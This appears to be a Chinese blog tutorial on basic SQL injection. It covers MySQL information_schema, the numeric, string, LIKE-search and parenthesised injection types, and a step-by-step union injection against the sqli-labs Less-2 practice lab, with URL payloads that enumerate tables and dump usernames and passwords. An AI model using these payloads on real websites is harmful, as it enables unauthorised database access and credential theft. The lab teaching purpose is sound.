1. 程式人生 > 其它 >SQL注入—基本認識及四種簡單型別

SQL注入—基本認識及四種簡單型別

前言 有網站服務的地方就需要有資料庫,SQL注入是指Web應用程式對使用者輸入資料的合法性沒有進行判斷,前端傳入後端的引數是可控的或沒有進行過濾的。 當帶入資料庫進行查詢,攻擊者通過構造不同的SQL語句來實現對資料庫的任意操作 SQL注入的兩個條件 1.引數使用者可控,可以修改上傳的資料 2.拼接後的SQL語句帶入資料庫查詢 Mysql資料庫特點 Mysql 5.0版本以後MySQL預設在資料庫中存放一個"information_schema"的資料庫,在該庫中,我們需要著重注意schema,tables,columns 基本認識 1.information_schema的介紹: information_schema:MySQL自帶的資料庫,儲存了資料庫中所有的資料庫、表和列資訊
information_schema.tables:所有表資訊 information_schema.columns:所有列資訊 table_schema:資料庫名稱 table_name:表名稱 column_name:列名稱 group_concat(table_name):列出所有表名 2.基本引數: GET:GET請求的引數是放在URL裡的,GET請求的URL傳參有長度限制,中文需要URL編碼,apache 最大為8192字元,GET直接可在URL裡面修改上傳引數 POST:POST請求的引數是放在body裡的,沒有長度限制,在POST請求裡'+'和'空格'是一樣,POST型只能抓包在包裡修改,在BurpSuite裡面可以直接顯示型別
COOKIE:Cookie引數放在請求頭資訊,提交的時候伺服器會從請求頭獲取引數 ##GET&POST區別:GET型使用URL提交注入資料,POST型利用抓包工具修改POST資料部分進行提交注入 3.注入常用查詢系統函式: #MySQL版本 version() #資料庫使用者名稱 user() #資料庫名 database() #系統使用者名稱 system_user() #當前使用者名稱 current_user() #當前連結資料庫使用者名稱 session_user() #資料庫路徑,可以判斷資料庫搭建框架,猜測網站www路徑,後面寫shell是要知道絕對路徑的 @@datadir
#資料庫安裝路徑 basedir #作業系統版本 @@version_compile_os SQL注入四種簡單型別 1.數字型:不存在閉合 select * from example where id=1; 2.字元型:存在閉合 select * from example where username='admin'; 3.like搜尋型:存在閉合 select * from example where title like '%標題%'; 4.xx型:只考慮閉合就行,根據報錯資訊判斷 注入方式——Union聯合注入法 什麼是聯合注入? 聯合查詢:select a from b union select c from d where e; 一次顯示兩個查詢結果,可以使第一個查詢語句作為正常內容,第二個作為查詢語句來構造 具體步驟 1.判斷注入點,考慮閉合 2.使用order語句判斷列 #假如有n列,如果你的order by m,m>n:會出錯,m<=n:正常執行 3.聯合注入查看回顯位,注意使用union時前面的語句要是錯的 4.進行資料注入 判斷方式 1.數值型: 先傳入引數http://192.168.223.132/sqli-labs/Less-2/?id=1 出現數值 修改引數http://192.168.223.132/sqli-labs/Less-2/?id=1 and 1=2 出現報錯 修改引數http://192.168.223.132/sqli-labs/Less-2/?id=-1 or 1=1 出現最初數值 id=1 and 1=2是假,傳回0,所以無法出現數值,id=-1 or 1=1為真,傳回1,和第一次輸入一致,可判斷為數值型 通過order by語句http://192.168.223.132/sqli-labs/Less-2/?id=-1 order by 3 判斷出有3列, http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,3 產生回顯,注意這裡是-1才能回顯,正常的網頁回顯只有一次。發現回顯位為2和3位,接下來就可以通過回顯位得出敏感資訊 2.字元型: 先傳參http://192.168.223.132/sqli-labs/Less-2/?id=1 出現數值 修改引數http://192.168.223.132/sqli-labs/Less-2/?id=1' 出現報錯資訊 添加註釋#,檢視結果http://192.168.223.132/sqli-labs/Less-2/?id=1' # 發現報錯消失 ## 解釋:字元型資料在傳入資料庫時,資料庫自身給其加上單引號,如id=1在內部其實為id='1' 而修改為id=1'在傳入時無法產生閉合,導致報錯,而註釋符使得系統新增的右半邊單引號被註釋, 取而代之的是我們自己新增的單引號作為右半邊單引號由此產生的注入可以使得單引號和註釋符之間的命令被過濾 eg:http://192.168.223.132/sqli-labs/Less-2/?id=-1' order by 3 # 隨後的操作可以在'和#之間進行SQL注入 ## 如果輸入#無法註釋,可以考慮網站編碼的問題,將#改為%23,正常POST型是#,%23無法解析,而GET型%23可以在URL裡面解析 3.搜尋型: ?id=1%' order by 3 # 其他操作與字元型大同小異 4.xx型: eg:輸入d'-->MySQL server version for the right syntax to use near ''d'')' at line 1 去掉左邊和右邊的一個單引號,再去掉自己輸入的d',剩下的')即為型別 判斷出型別後其他操作與上述型別大同小異 總結: 第一次輸入id=xxx如果報錯才可以繼續判斷 數字型:id=1 and 1=2-->id=-1 or 1=1 字元型:1.'型 id=1'-->id=1' # (#如果不行換成%23) 2.')型 id=1')-->id=1') # 3.")型 id=1")-->id=1") # 規範化資料庫查詢操作調取敏感資訊 1.檢視當前資料庫表名 # 一個一個查 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1 # 全部查出來 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() ## 解釋:選擇3號回顯位,從所有表中列出表的名字,滿足資料庫的名稱為當前資料庫,簡而言之就是列出當前資料庫的所有表 2.查詢當前資料庫中指定表資訊列資料 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() ##table_name='users'與table_name=0x7573657273 效果一致,只是將user轉換成16進位制,可用繞過WF 0b:二進位制0o:八進位制0x:十六進位制 3.注入出資料庫所有內容 union select 1,2,group_concat(id,0x7e,username,0x7e,password) from security.users #輸出id,username,password,中間以~作為分割,~的URL編碼為0x7e 注入流程——以數字型為例,靶場為sqli-labs/Less-2 #1出現數值 http://192.168.223.132/sqli-labs/Less-2/?id=1 #2 出現報錯資訊 http://192.168.223.132/sqli-labs/Less-2/?id=1 and 1=2 #3 發現數值和剛開始一樣 http://192.168.223.132/sqli-labs/Less-2/?id=-1 or 1=1 #4 進行驗證,發現報錯和之前一樣 http://192.168.223.132/sqli-labs/Less-2/?id=0 #5 判斷列數為3 http://192.168.223.132/sqli-labs/Less-2/?id=1 order by 3 #6 判斷回顯位,發現為2和3 http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,3 # 注意使用union聯合注入時,前面id=-1報錯才能使得網頁進行回顯,即union前面的語句必須是錯誤的 #7 檢視當前資料庫表名 http://192.168.223.132/sqli-labs/Less-2/?id=-1 unionselect 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #8 查詢當前資料庫中指定表資訊列資料 http://192.168.223.132/sqli-labs/Less-2/?id=-1union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() #9注入出資料庫所有內容 http://192.168.223.132/sqli-labs/Less-2/?id=-1union select 1,2,group_concat(id,0x3a,username,0x3a,password) from security.users 結語 不管什麼型別,就是對SQL中各種型別的輸入進行閉合測試,構造合法SQL,欺騙後臺去執行